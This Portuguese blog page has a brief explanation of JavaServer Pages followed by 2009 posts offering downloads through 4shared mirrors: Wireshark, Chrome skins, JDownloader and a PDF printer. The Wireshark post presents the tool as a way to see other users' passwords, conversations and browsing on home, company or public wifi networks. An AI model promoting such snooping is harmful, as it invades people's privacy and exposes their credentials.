JavaServer Pages (JSP) é uma tecnologia utilizada no desenvolvimento de aplicações para Web, similar às tecnologias Active Server Pages (ASP) da Microsoft ou PHP. Por ser baseada na linguagem de programação Java, tem a vantagem da portabilidade de plataforma, que permite a sua execução em diversos sistemas operacionais, como o Windows da Microsoft, Unix e Linux. Esta tecnologia permite ao desenvolvedor de páginas para Internet produzir aplicações que acessem o banco de dados, manipulem arquivos no formato texto, capturem informações a partir de formulários e captem informações sobre o visitante e sobre o servidor.
Uma página criada com a tecnologia JSP, após instalada em um servidor de aplicação compatível com a tecnologia Java EE, é transformada em um Servlet.

São exemplos de servidor compatível com a tecnologia JSP o Tomcat e o Glassfish.

Maiores informações: isistemasintegrados@gmail.com

terça-feira, 8 de setembro de 2009

Monitore sua Rede


Veja o que todos estão fazendo na rede de sua casa ou de sua empresa, ou até mesmo em qualquer zona wifi, com esse software tão conhecido no linux, agora nesta versão para windows. O wireshark proporciona o poder de ver tudo o que acontece na rede, senhas, conversas, sites e serviços acessados.

Categoria:Donwloads
Mirror: 4shared

Skins para Google Crhome










Baixe Skins para mudar o visual do seu Google Crhome.

Categoria: Downloads
Mirror: 4Shared






JDownloader

















Super Gerenciador de downloads, ele aguardo o tempo necessário, ele lê captchas e acelera. Essencial para RapidShare, Megaupload, 2Shared, 4Shared e todos outros.


Categoria: Downloads
Mirror: 4Shared


Download Aqui

Impressora PDF



Impressora virtual que imprime em arquivo PDF.
Intalação rápido e Fácil.

Categoria: Downloads
Mirror: 4Shared